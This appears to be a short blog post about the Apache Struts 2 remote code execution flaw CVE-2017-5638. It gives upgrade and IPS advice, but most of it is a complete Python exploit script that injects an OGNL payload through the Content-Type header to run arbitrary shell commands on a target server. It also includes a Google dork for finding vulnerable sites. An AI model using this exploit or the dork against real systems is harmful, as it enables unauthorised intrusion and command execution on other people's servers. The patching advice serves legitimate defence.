Select Page

Apache Struts 2 Vulnerability (CVE-2017-5638)

On 3/6/2017 a vulnerability was found in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1. Essentially it mishandles the upload from the parser and could allow remote attackers to execute commands from the command string. This includes, of course, initiating a shell. More on the CVE itself can be found here https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638.

It is easy enough to find sites that are vulnerable to this attack with some simple Google dorking. Searching for “inurl:struts filetype:action” will return sites that are possibly susceptible. Try not to be on this list. 🙂

Metasploit and python scripts to exploit the vulnerability are out and the python code can be found below. A simple solution to fixing this vulnerability
is to upgrade to Apache Struts version 2.3.32 for the 2.3 versions or 2.5.10.1 for the 2.5.

Also take note that if you are running Deep Security from Trend Micro an IPS rule was made available the same day of the vulnerability being announced that protects against this attack. If you are running Deep Security and want to check that this rule has been applied you can select the system you are concerned with and within the IPS module search for the CVE-2017-5638 and make sure the corresponding rule(s) are applied and your IPS module is in “Prevent” mode.

Below is the python code for performing the exploit.

#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import httplib
 
 
def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
 
    print(page)
    return page
 
 
if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)


Remember to keep your systems up to date!

Related Post

Data Breach at UCF As reported by Fox 35 in Orlando, it appears the University of Central Florida is now the victim of a data breach. The data breach has resulte...
My heartbleed demo Recently I was asked to present a live hack in front of an audience and I decided go back in time to the heartbleed bug. I say back in time bu...
Share This